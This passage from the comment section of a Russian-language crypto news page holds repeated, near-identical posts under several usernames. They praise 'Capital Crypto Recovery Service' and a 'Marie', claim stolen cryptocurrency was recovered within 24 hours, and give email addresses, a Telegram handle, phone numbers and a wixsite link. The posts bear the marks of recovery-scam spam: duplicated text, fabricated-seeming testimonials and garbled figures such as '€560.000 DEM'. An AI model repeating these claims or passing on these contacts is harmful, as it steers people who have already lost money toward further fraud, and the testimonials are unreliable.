relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon